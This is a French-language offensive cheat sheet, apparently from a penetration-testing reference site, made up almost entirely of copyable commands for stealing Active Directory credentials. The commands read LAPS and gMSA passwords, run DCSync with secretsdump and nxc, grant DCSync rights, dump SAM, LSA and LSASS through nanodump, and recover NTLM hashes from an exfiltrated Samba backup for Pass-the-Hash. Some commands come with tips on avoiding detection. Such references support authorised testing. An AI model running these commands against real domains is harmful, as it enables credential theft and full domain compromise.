Exploitation

Credential Attacks

LAPS, gMSA, DCSync et secrets locaux : extraire les credentials sans les craquer.

LAPS & gMSA

Copy command

nxc ldap $DC -u $USER -p $PASS --laps

Description: Lire les mots de passe LAPS de tous les hosts accessibles via l'ACL courante.

Copy command

nxc ldap $DC -u $USER -p $PASS --laps --computer $COMPUTER

Description: LAPS ciblé sur une machine précise pour éviter le bruit inutile.

Copy command

nxc ldap $DC -u $USER -p $PASS --gmsa

Description: Lister les objets gMSA et tenter de lire leur secret si l'ACL le permet.

Copy command

bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$GMSA$' --attr msDS-ManagedPassword

Description: Extraire directement le blob de mot de passe gMSA via LDAP, décodable en NT hash.

DCSync

Copy command

secretsdump.py $DOMAIN/$USER:$PASS@$DC -just-dc-user $TARGET_USER

Description: DCSync ciblé sur un compte précis : récupère NT hash sans dump massif.

Copy command

secretsdump.py $DOMAIN/$USER:$PASS@$DC -just-dc

Description: DCSync complet : tous les hashes NTLM du domaine. Bruyant, réserver à la fin.

Copy command

nxc smb $DC -u $USER -p $PASS --ntds --user $TARGET_USER

Description: Alternative NXC pour extraire un hash NTDS sans passer par impacket.

Copy command

bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add dcsync '$USER'

Description: Donner les droits DCSync à un compte via WriteDacl sur la racine du domaine.

SAM, LSA & LSASS

Copy command

nxc smb $TARGET -u $USER -p $PASS --sam

Description: Dump des comptes locaux depuis la SAM : hashes des admins locaux.

Copy command

nxc smb $TARGET -u $USER -p $PASS --lsa

Description: Secrets LSA : comptes de service, mots de passe en cache, DCC2.

Copy command

nxc smb $TARGET -u $USER -p $PASS -M nanodump

Description: Dump LSASS via nanodump : plus discret qu'un procdump classique.

Copy command

nxc smb $TARGET -u $USER -p $PASS --sam --lsa

Description: SAM + LSA en une passe : collecte complète des secrets locaux.

Forensics backup Samba AD

Copy command

tar -xf samba-backup-*.tar.bz2 -C backup/

Description: Un backup Samba AD DC exfiltré (share/FTP/volume Docker) contient private/sam.ldb : la base AD complète hors-ligne, sans authentification requise.

Copy command

ldbsearch -H ./backup/private/sam.ldb -b 'dc=domain,dc=local' '(&(objectClass=user)(sAMAccountname=administrator))' unicodePwd

Description: ldbsearch (local, pas besoin du conteneur samba-ad-dc) lit unicodePwd directement dans la base LDB offline.

Copy command

echo 'BASE64_UNICODEPWD' | base64 -d | xxd -p

Description: unicodePwd est un blob base64 : décodé en hex il donne directement le hash NTLM, réutilisable en Pass-the-Hash.